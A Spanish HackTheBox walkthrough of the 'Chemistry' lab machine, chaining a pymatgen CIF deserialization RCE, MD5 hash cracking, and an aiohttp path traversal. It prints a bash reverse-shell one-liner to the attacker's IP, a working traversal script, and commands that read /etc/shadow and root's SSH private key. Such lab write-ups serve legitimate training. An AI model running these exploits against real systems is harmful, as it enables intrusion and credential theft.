the_open_door
café
ESEN

Chemistry

HackTheBoxFácilLinux10.10.11.38

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#cif#pymatgen#cve-2024-23346#insecure-deserialization#aiohttp#cve-2024-23334#path-traversal#hash-cracking#port-forwarding#linux
TL;DR. Chemistry es una máquina Linux de dificultad fácil construida sobre dos CVE encadenadas. La web del puerto 5000 es un analizador de ficheros CIF; al subir uno malicioso disparamos CVE-2024-23346, una deserialización insegura en pymatgen que ejecuta código vía eval() y nos da una reverse shell como app. En /home/app hay un database.db con el hash de rosa; lo crackeamos con john (unicorniosrosados) y saltamos a su cuenta. Para escalar, un servicio interno en el puerto 8080 resulta ser aiohttp 3.9.1, vulnerable a CVE-2024-23334; mediante un reenvío de puerto y un path traversal leemos la clave SSH privada de root y entramos directamente como root.

Reconocimiento

Ping

Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que orienta sobre el sistema operativo (≈64 Linux, ≈128 Windows).

ping -c 1 10.10.11.38
64 bytes from 10.10.11.38: icmp_seq=1 ttl=63 time=38.4 ms

TTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Escaneo de puertos

Un escaneo TCP completo descubre solo dos puertos abiertos: 22 (SSH) y 5000.

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.38

nmap descubre los puertos 22 y 5000 abiertos en 10.10.11.38 con syn-ack ttl 63

[+] Introduce una IP
10.10.11.38

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-02 16:40 CET
Initiating SYN Stealth Scan at 16:40
Scanning 10.10.11.38 [65535 ports]
Discovered open port 22/tcp on 10.10.11.38
Discovered open port 5000/tcp on 10.10.11.38
Completed SYN Stealth Scan at 16:40, 13.53s elapsed (65535 total ports)
Not shown: 65524 closed tcp ports (reset), 9 filtered tcp ports (no-response)

PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
5000/tcp open  upnp    syn-ack ttl 63

Nmap done: 1 IP address (1 host up) scanned in 13.63 seconds

extractPorts resume el fichero -oG y deja los dos puertos en el portapapeles:

extractPorts scan

extractPorts resume el escaneo: IP 10.10.11.38 y puertos abiertos 22,5000

Extracting information ...
IP Address: 10.10.11.38
Open ports: 22,5000
Not shown: 65524 closed tcp ports (reset), 9 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
5000/tcp open  upnp    syn-ack ttl 63

Los syn-ack ttl 63 de la columna REASON confirman por el handshake TCP lo que decía el ping. Y conviene leer la línea de arriba: hay 9 puertos filtrados, no cero, aunque el propio nmap avisa de que con --min-rate alto algunos cerrados pueden salir como filtrados por el rate limiting de RST. No es un cortafuegos, es ruido del escaneo rápido.

Una segunda medida independiente, sin nmap, usando solo el redirector /dev/tcp de bash sobre los 65535 puertos:

for port in $(seq 1 65535); do
    (echo '' > /dev/tcp/10.10.11.38/$port) 2>/dev/null && echo "[+] El puerto $port está abierto"
done

el script de bash con /dev/tcp confirma solo los puertos 22 y 5000

[+] El puerto 22 está abierto
[+] El puerto 5000 está abierto

Tarda muchísimo más (nmap resuelve los 65535 en 13 segundos), pero es la herramienta que hay cuando no se puede instalar nada, y aquí sirve para confirmar que no se escapó nada entre esos 9 filtrados.

Pedimos versión y scripts sobre ambos:

nmap -p22,5000 -sCV 10.10.11.38

nmap -sCV: OpenSSH 8.2p1 y un 5000 que queda como upnp? con el volcado de fingerprint-strings

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
|   256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
5000/tcp open  upnp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.3 Python/3.9.5
|     Content-Type: text/html; charset=utf-8
|     <title>Chemistry - Home</title>
|     class="title">Chemistry CIF Analyzer</h1>
|     <p>Welcome to the Chemistry CIF Analyzer. This tool allows you to upload a CIF
|     (Crystallographic Information File) and analyze the structural data contained within.</p>
|     <center><a href="/login" class="btn">Login</a>
|     href="/register" class="btn">Register</a></center>

Merece la pena pararse aquí, porque la salida no es la que parece. El 5000 sigue etiquetado como upnp?, con interrogación: nmap no ha conseguido identificar el servicio y ha caído al nombre por defecto que el fichero nmap-services asigna a ese puerto. Lo que hace en su lugar es volcar la respuesta en crudo bajo fingerprint-strings, y ahí dentro está todo: la cabecera Server: Werkzeug/3.0.3 Python/3.9.5 (un Flask, no UPnP), el título de la página y hasta el texto de bienvenida que explica qué hace la aplicación. La lección es que un servicio? con interrogación no significa "nada que ver", significa "léelo tú".

whatweb llega a lo mismo por la vía corta:

whatweb http://10.10.11.38:5000

whatweb sobre el puerto 5000: Werkzeug 3.0.3, Python 3.9.5 y el título Chemistry - Home

http://10.10.11.38:5000 [200 OK] Country[RESERVED][ZZ], HTML5,
HTTPServer[Werkzeug/3.0.3 Python/3.9.5], IP[10.10.11.38], Python[3.9.5],
Title[Chemistry - Home], Werkzeug[3.0.3]

Werkzeug es el servidor de desarrollo de Flask. Que esté expuesto directamente, sin un nginx o un gunicorn delante, ya dice bastante del cuidado con que se ha desplegado esto.

La aplicación web - TCP 5000

La web es un Chemistry CIF Analyzer: permite registrarse, iniciar sesión y subir un fichero .cif (Crystallographic Information File, un formato de cristalografía) para analizar su estructura. Tras registrarnos, el panel ofrece el formulario de subida, una lista de estructuras procesadas y, en el enunciado, un enlace here que descarga un example.cif válido:

el dashboard de Chemistry con el formulario de subida y el enlace here que descarga example.cif

Ese example.cif es más útil de lo que parece: da la plantilla exacta que el parser acepta, que es sobre lo que después habrá que injertar el payload. Lo subimos tal cual y aparece en la tabla con dos acciones, View y Delete:

el example.cif descargado, seleccionado en el formulario de subida antes de pulsar Upload

la tabla Your Structures lista example.cif con los botones View y Delete

Y aquí está el detalle que decide toda la caja. Al pulsar View, el servidor parsea el fichero y devuelve sus datos ya interpretados: fórmula, parámetros de red, volumen, densidad y las posiciones atómicas.

la vista CIF Data muestra Formula H1 O1, los parámetros de red y las posiciones atómicas

Formula: H1 O1
Lattice Parameters
  a 10.0    b 10.0    c 10.0
  α 90.0    β 90.0    γ 90.0
  Volume 1000.0    Density 0.09327413990998862
Atomic Sites
  H  0.0  0.0  0.0
  O  0.5  0.5  0.5

Esa tabla no la calcula el navegador: la calcula el servidor al pulsar View. O sea que subir el fichero no dispara nada, verlo sí. El procesamiento de ficheros CIF se hace casi siempre con librerías de química de Python, y ahí es donde está el fallo.

Shell como app

CVE-2024-23346: RCE en pymatgen

Investigando cómo se explota el procesamiento de un .cif, damos con CVE-2024-23346: la librería de Python pymatgen (usada para manipular datos de materiales) tiene una deserialización insegura en JonesFaithfulTransformation.from_transformation_str(), que procesa una cadena del fichero con eval(). Como eval ejecuta Python arbitrario, un .cif malicioso logra ejecución de código.

Lo probamos primero en local, con la versión vulnerable de la librería y un payload que ejecuta touch:

pip install pymatgen==2024.1.26 --break-system-packages
python3 hola.py   # CifParser("vuln.cif").parse_structures()

el ls antes y después de python3 hola.py: aparece el fichero prueb*aPytmagen creado por el payload

$ ls
hola.py  reports  vuln.cif

$ python3 hola.py
.../pymatgen/io/cif.py:1218: UserWarning: No structure parsed for section 1 in CIF.
Failed to parse transformation string.
.../pymatgen/io/cif.py:1224: UserWarning: Issues encountered while parsing CIF:
No structure parsed for section 1 in CIF.
Failed to parse transformation string.
Traceback (most recent call last):
  File ".../hola.py", line 3, in <module>
    structure = parser.parse_structures()
  File ".../pymatgen/io/cif.py", line 1227, in parse_structures
    raise ValueError("Invalid CIF file with no structures!")
ValueError: Invalid CIF file with no structures!

$ ls
hola.py  'prueb*aPytmagen'  reports  vuln.cif

Lo interesante es la combinación de las dos cosas. Por un lado el parseo falla ruidosamente: Failed to parse transformation string, ninguna estructura, y una excepción que corta el programa. Por otro, el ls posterior enseña un fichero nuevo, prueb*aPytmagen, que no existía antes. El comando inyectado se ejecutó antes de que el parser decidiera que la cadena no era válida, porque el eval() ya se había evaluado para entonces. Es la prueba del RCE, y también la razón de que la caja funcione: en la web veremos un error y aun así habremos ejecutado código.

El payload va escondido en el campo _space_group_magn.transform_BNS_Pp_abc, donde una cadena recorre la jerarquía de clases de Python hasta BuiltinImporter, importa os y llama a system().

De RCE a reverse shell

Ahora cambiamos el touch por una reverse shell. Un detalle de esta caja: la víctima usa BusyBox, así que el one-liner clásico de bash falla; lo envolvemos para forzar bash:

/bin/bash -c 'sh -i >& /dev/tcp/10.10.15.39/4444 0>&1'

Subimos el .cif con ese payload por el mismo formulario, ahora con el fichero vuln.cif:

el formulario de subida con vuln.cif seleccionado y el botón Upload resaltado

Y antes de tocar nada, el listener:

nc -nlvp 4444

el listener nc esperando en el puerto 4444 antes de pulsar View

listening on [any] 4444 ...

Con él escuchando, pulsamos View sobre la estructura. Es el mismo botón de antes, y por lo que vimos en el reconocimiento es el que hace que el servidor parsee:

la tabla lista vuln.cif y se pulsa su botón View

nc recibe la reverse shell desde 10.10.11.38 como el usuario app

listening on [any] 4444 ...
connect to [10.10.15.39] from (UNKNOWN) [10.10.11.38] 35394
sh: 0: can't access tty; job control turned off
$

Shell como rosa

El hash en database.db

La aplicación guarda sus datos en una base SQLite. En el directorio de la app encontramos database.db, y un strings filtrando por rosa saca su hash de contraseña (un MD5):

strings database.db | grep "rosa"

strings sobre database.db revela el hash MD5 del usuario rosa

app@chemistry:~/instance$ strings database.db | grep "rosa"
Mrosa63ed86ee9f624c7b14f1d4f43dc251a5'

Esa M de delante y la comilla del final no sobran ni son un error de transcripción: strings está leyendo el fichero SQLite en crudo, así que lo que sale son los bytes del registro con sus separadores internos pegados al dato. El hash es lo de en medio, 63ed86ee9f624c7b14f1d4f43dc251a5, 32 caracteres hexadecimales, longitud de MD5.

Crackear y pivotar

Lo crackeamos con john indicando el formato Raw-MD5 y rockyou.txt. Sale enseguida:

john --format=Raw-MD5 rosa --fork=8 --wordlist=/home/krmena/rockyoudir/rockyou.txt

john crackea el hash de rosa y revela la contraseña unicorniosrosados

Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Node numbers 1-8 of 8 (fork)
unicorniosrosados     (?)
4 1g 0:00:00:00 DONE (2024-11-02 21:08) 12.50g/s 4660Kp/s 4660Kc/s 4660KC/s ...
Session completed.

Dos detalles de la salida. El (?) en vez de un nombre de usuario es porque el fichero que le pasamos a john contiene el hash pelado, sin el usuario:hash que la herramienta espera para etiquetarlo; no es un fallo, simplemente no sabe a quién pertenece. Y el --fork=8 reparte el diccionario entre ocho procesos: lo revienta el nodo 4 en menos de un segundo, porque unicorniosrosados está en rockyou.

Esa contraseña es de la aplicación web, no del sistema. Pero probamos igualmente un su rosa, y funciona:

su rosa

su rosa cambia el prompt de app@chemistry a rosa@chemistry

app@chemistry:~/instance$ su rosa
Password:
rosa@chemistry:/home/app/instance$

El prompt cambiando de app@ a rosa@ es toda la confirmación que hace falta: la misma contraseña servía para la cuenta del sistema (reutilización de credenciales). Con ella, la flag de usuario:

cat user.txt

ls muestra pspy32, pspy64 y user.txt, y el cat devuelve la flag de usuario

rosa@chemistry:~$ ls
pspy32  pspy64  user.txt
rosa@chemistry:~$ cat user.txt
559435e943a501d6d9d7173b82df6f3f

Shell como root

Un servicio interno en el 8080

Toca enumerar desde dentro, que es donde aparecen los servicios atados a loopback. Se puede a mano con ss -tlnp, o dejando que lo haga linpeas.sh (repo), que trae una sección Active Ports justo para esto:

ss -tlnp
./linpeas.sh

linpeas arranca y su bloque Basic information ya sitúa el contexto: kernel 5.4.0-196, usuario app con uid 1001 y hostname chemistry

OS: Linux version 5.4.0-196-generic (buildd@lcy02-amd64-031) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2))
User & Groups: uid=1001(app) gid=1001(app) groups=1001(app)
Hostname: chemistry

[+] /usr/bin/ping is available for network discovery
[+] /usr/bin/bash is available for network discovery, port scanning and port forwarding
[+] /usr/bin/nc is available for network discovery & port scanning

Ese último bloque no es relleno: linpeas avisa de que la máquina trae bash y nc, que es justo lo que haría falta para barrer puertos internos a mano si no encontrase nada. No hace falta, porque sí encuentra:

la sección Active Ports de linpeas muestra el puerto 127.0.0.1:8080 escuchando localmente

Active Ports
tcp  0  0 127.0.0.53:53   0.0.0.0:*  LISTEN  -
tcp  0  0 0.0.0.0:22      0.0.0.0:*  LISTEN  -
tcp  0  0 0.0.0.0:5000    0.0.0.0:*  LISTEN  1069/python3.9
tcp  0  0 127.0.0.1:8080  0.0.0.0:*  LISTEN  -
tcp6 0  0 :::22           :::*       LISTEN  -

Cuatro líneas y solo una interesa. El 0.0.0.0:22 y el 0.0.0.0:5000 ya los conocíamos por el nmap, y el 127.0.0.53:53 es el resolvedor local de systemd. El que no habíamos visto nunca es 127.0.0.1:8080, y no lo habíamos visto porque no se puede ver desde fuera: atado a la interfaz de loopback, es invisible para cualquier escaneo remoto. Este es el motivo por el que el listado de puertos se repite desde dentro después de conseguir la primera shell.

Lo acercamos a nuestra máquina con un reenvío de puerto local por SSH (el local 8081 hacia el 8080 de la víctima):

ssh -L 8081:127.0.0.1:8080 rosa@10.10.11.38

ssh -L reenvía el puerto interno 8080 de la víctima a nuestro 8081

rosa@10.10.11.38's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-196-generic x86_64)

Con la sesión abierta, el 8080 interno de la víctima queda accesible en nuestro 127.0.0.1:8081.

Un nmap contra el puerto ya local identifica el servicio: aiohttp 3.9.1 sobre Python 3.9, una web de Site Monitoring.

nmap -p8081 -sCV 127.0.0.1

nmap identifica el servicio interno como aiohttp 3.9.1 (Python 3.9)

PORT     STATE SERVICE VERSION
8081/tcp open  http    aiohttp 3.9.1 (Python 3.9)
|_http-server-header: Python/3.9 aiohttp/3.9.1
|_http-title: Site Monitoring

Nótese el contraste con el 5000: aquí nmap sí rellena la columna VERSION, porque aiohttp se anuncia con una cabecera Server limpia que la base de firmas reconoce. En el 5000 tuvimos que leerlo del volcado.

Abierto en el navegador, es un panel de monitorización con acciones para arrancar y parar servicios:

el panel Site Monitoring en localhost:8081 con Start Service, Stop Service, List Services y Check Attacks

Las acciones (Start Service, Stop Service, Check Attacks) invitan a buscar una inyección de comandos por ahí, y es la trampa: el fallo no está en lo que hace la aplicación sino en la versión del servidor que la sirve, que es lo que el -sCV acaba de dar.

CVE-2024-23334: path traversal en aiohttp

aiohttp < 3.9.2 sufre CVE-2024-23334: si una ruta estática se configura con follow_symlinks=True, no valida que el fichero leído siga dentro del directorio raíz, lo que permite un path traversal. El PoC público prueba ../ incrementales contra la ruta estática, y viene con payload="/static/" por defecto.

Ese valor no sirve aquí, y averiguar el bueno es el paso que la mayoría se salta. Un dirsearch contra el puerto ya tunelizado lo resuelve:

dirsearch -u http://localhost:8081/

dirsearch encuentra /assets y /assets/ respondiendo 403 en el puerto 8081

Target: http://localhost:8081/

[15:25:44] 403 -   14B  - /assets
[15:25:44] 403 -   14B  - /assets/

Un 403 no es un fracaso, es una confirmación. La ruta existe (si no, sería 404) y lo único que niega el servidor es listar su contenido, que es exactamente el comportamiento de un directorio estático servido por aiohttp. Con eso basta: el prefijo del PoC pasa de /static/ a /assets/.

Primero confirmamos la lectura arbitraria apuntando a /etc/shadow. El script va probando profundidades hasta que una devuelve 200:

url="http://localhost:8080"
payload="/assets/"
file="etc/shadow"
for ((i=0; i<15; i++)); do
    payload+="../"
    status_code=$(curl --path-as-is -s -o /dev/null -w "%{http_code}" "$url$payload$file")
    if [[ $status_code -eq 200 ]]; then curl -s --path-as-is "$url$payload$file"; break; fi
done

el path traversal devuelve /etc/shadow, incluido el hash de root

rosa@chemistry:~$ ./exploit.sh
[+] Testing with /assets/../etc/shadow
        Status code --> 404
[+] Testing with /assets/../../etc/shadow
        Status code --> 404
[+] Testing with /assets/../../../etc/shadow
        Status code --> 200
root:$6$51.cQv3bNpiiUadY$0qMYr0nZDIHuPMZuR4e7Lirpje9PwW666fRaPKI8wTaTVBm5fgkaBEojzzjsF.jjH0K0JWi3...
daemon:*:19430:0:99999:7:::
bin:*:19430:0:99999:7:::

La escalera de códigos es el propio experimento: 404, 404, 200. Tres ../ y ni uno más, lo que sitúa la raíz estática tres niveles por debajo de /. Ir a ciegas con quince ../ habría funcionado igual en muchos servidores, pero aquí no: aiohttp normaliza la ruta y una profundidad excesiva se sale del sistema de ficheros, así que el bucle no es adorno, es lo que encuentra la profundidad correcta.

Este exploit.sh se lanzó desde la propia víctima, como rosa, contra su localhost:8080. El túnel SSH no era imprescindible para explotarlo; sirve para trabajar cómodo desde nuestra máquina, que es como se hace el siguiente paso.

Robar la clave de root y entrar

En vez de quedarnos con la flag, apuntamos a la clave SSH privada de root (/root/.ssh/id_rsa), esta vez desde nuestro Kali a través del túnel, cambiando solo la variable file del script:

file="root/.ssh/id_rsa"
./exploit.sh

el traversal apuntando a /root/.ssh/id_rsa devuelve la clave privada de root

[+] Testing with /assets/../root/.ssh/id_rsa
        Status code --> 404
[+] Testing with /assets/../../root/.ssh/id_rsa
        Status code --> 404
[+] Testing with /assets/../../../root/.ssh/id_rsa
        Status code --> 200
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
<SNIP>
1arrDbm+uzE+QNAAAADnJvb3RAY2hlbWlzdHJ5AQIDBA==
-----END OPENSSH PRIVATE KEY-----

Sale entera y sin contraseña: la cabecera es la de una clave OpenSSH sin cifrar, así que no hay que pasar por ssh2john ni por ningún crackeo. La última línea, además, lleva el comentario codificado root@chemistry, que confirma de quién es la clave antes de intentar nada.

La guardamos, le damos permisos 600 (SSH rechaza claves privadas legibles por otros) y nos conectamos como root:

chmod 600 id_rsa_root_chemistry
ssh -i id_rsa_root_chemistry root@10.10.11.38

ssh con la clave de root abre una shell como root en Ubuntu 20.04.6 LTS

Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-196-generic x86_64)
...
Last login: Fri Oct 11 14:06:59 2024
root@chemistry:~#

Ya somos root. La flag final estaba de hecho al alcance mucho antes: el mismo exploit.sh, apuntando a root/root.txt, la devuelve sin necesidad de shell ninguna.

file="root/root.txt"
./exploit.sh

el traversal apuntando a root/root.txt devuelve la flag de root sin necesidad de shell

[+] Testing with /assets/../root/root.txt
        Status code --> 404
[+] Testing with /assets/../../root/root.txt
        Status code --> 404
[+] Testing with /assets/../../../root/root.txt
        Status code --> 200
1b9a9dee3adbb6a870664121119032b8

Merece la pena separar las dos cosas, porque no son lo mismo. Leer root.txt cierra la caja pero no da acceso: es una lectura arbitraria de ficheros, no ejecución. Robar id_rsa sí convierte esa lectura en una sesión interactiva como root, que es lo que en un entorno real distingue un hallazgo reportable de un compromiso completo.

la pantalla de HackTheBox confirmando que Chemistry ha sido comprometida

Cadena de ataque

web :5000 (Chemistry CIF Analyzer)
   │  subir .cif malicioso  →  pymatgen eval()  (CVE-2024-23346)
   ▼
reverse shell como app  (BusyBox)
   │  /home/app/database.db  →  hash MD5 de rosa
   ▼
john (rockyou) → unicorniosrosados  →  su rosa  →  user.txt
   │
   │  linpeas: 127.0.0.1:8080 (interno)
   ▼
ssh -L 8081:127.0.0.1:8080  →  aiohttp 3.9.1  (CVE-2024-23334)
   │  /assets/../../../root/.ssh/id_rsa   (path traversal)
   ▼
ssh -i id_rsa root@10.10.11.38  →  shell como root  →  root.txt

Lecciones aprendidas

  • Parsear ficheros del usuario es ejecutar su contenido si la librería usa eval. La web procesaba .cif con una versión vulnerable de pymatgen; ver CVE-2024-23346. Nunca pasar entrada no confiable a eval/exec y mantener las dependencias al día.
  • BusyBox cambia el payload. El one-liner de reverse shell clásico no siempre funciona en sistemas minimalistas; conviene envolverlo en /bin/bash -c '...'.
  • Las contraseñas en bases de datos locales son MD5 débiles. Un strings sobre database.db y un john con rockyou bastan; ver crackeo de hashes. No reutilizar la misma contraseña para la cuenta del sistema.
  • Los servicios internos no son seguros por estar en localhost. Un reenvío de puerto los expone, y aquí aiohttp 3.9.1 permitía leer la clave de root por path traversal. Actualizar aiohttp, desactivar follow_symlinks y no servir directorios que contengan rutas sensibles.
  • Un servicio? con interrogación no es un callejón sin salida. El -sCV dejó el 5000 como upnp? porque no supo identificarlo, pero debajo volcó la respuesta en crudo, y ahí estaban el Werkzeug/3.0.3 Python/3.9.5, el título y hasta la descripción de la aplicación. Cuando nmap no sabe qué es algo, enseña lo que ha visto; hay que leerlo.
  • Un 403 en el fuzzing vale tanto como un 200. El PoC público venía con /static/ y aquí no existe; dirsearch devolvió /assets con un 403, que confirma que la ruta está ahí y solo se niega el listado. Con esa diferencia entre 403 y 404, el exploit pasa de no funcionar a funcionar a la primera.
  • El fallo no siempre está en la aplicación, a veces está en quien la sirve. El panel de Site Monitoring invitaba a buscar inyección de comandos en sus botones de arrancar y parar servicios; el agujero estaba en la versión de aiohttp que lo servía. Fingerprintear el servidor, no solo la funcionalidad.
  • Leer un fichero no es tener una shell. El mismo traversal daba root.txt directamente, pero apuntarlo a /root/.ssh/id_rsa es lo que convierte una lectura arbitraria en una sesión como root. En un informe real, esa es la diferencia entre un hallazgo y un compromiso.
Cheatsheet de comandos 23 comandos

Repaso rápido